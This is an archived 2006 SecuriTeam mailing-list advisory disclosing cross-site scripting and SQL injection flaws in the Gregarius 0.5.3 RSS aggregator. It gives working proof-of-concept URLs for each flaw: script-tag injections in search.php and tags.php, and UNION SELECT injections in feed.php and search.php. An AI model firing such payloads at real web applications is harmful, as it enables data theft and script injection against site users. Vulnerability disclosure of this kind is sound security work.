

# [UNIX] Gregarius XSS and SQL Injection Vulnerabilities

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00003.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 5 Mar 2006 14:59:07 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Gregarius XSS and SQL Injection Vulnerabilities

---

## SUMMARY

<<http://gregarius.net/>> Gregarius is "a web-based RSS/RDF/ATOM feed aggregator, designed to run on your web server, allowing you to access your news sources from wherever you want". Multiple vulnerabilities have been discovered in Gregarius, these vulnerabilities allow a remote attacker to cause the program to insert arbitrary HTML and/or JavaScript into its web pages as well as allows insertion of arbitrary SQL statements into statements used by the program.

## DETAILS

Vulnerable Systems:

- \* Gregarius version 0.5.3

Immune Systems:

- \* Gregarius version 0.5.3 SVN

XSS in search.php:

The following URL can used to trigger a cross site scripting vulnerability in the search.php file:

## [UNIX] Gregarius XSS and SQL Injection Vulnerabilities

search.php?rss\_query=<script>alert(1)</script>&rss\_query\_match=exact

XSS in tags.php:

The following URL can be used to trigger a cross site scripting vulnerability in the tags.php file: tags.php?tag=<script>alert(1)</script>

SQL Injection in feed.php:

The following URL can be used to trigger an SQL injection vulnerability in the feed.php file:

feed.php?folder=3 and 1=1 UNION select title from item--

SQL Injection in search.php:

The SQL injection can be further exploited if magic\_quotes have been set to off:

search.php?rss\_query=aa%')) UNION select  
null,null,null,null,null,null,null,null,null,null,null,title,null from  
item-- &rss\_query\_match=exact

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:tzitaroth@xxxxxxxxxx>>  
tzitaroth.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.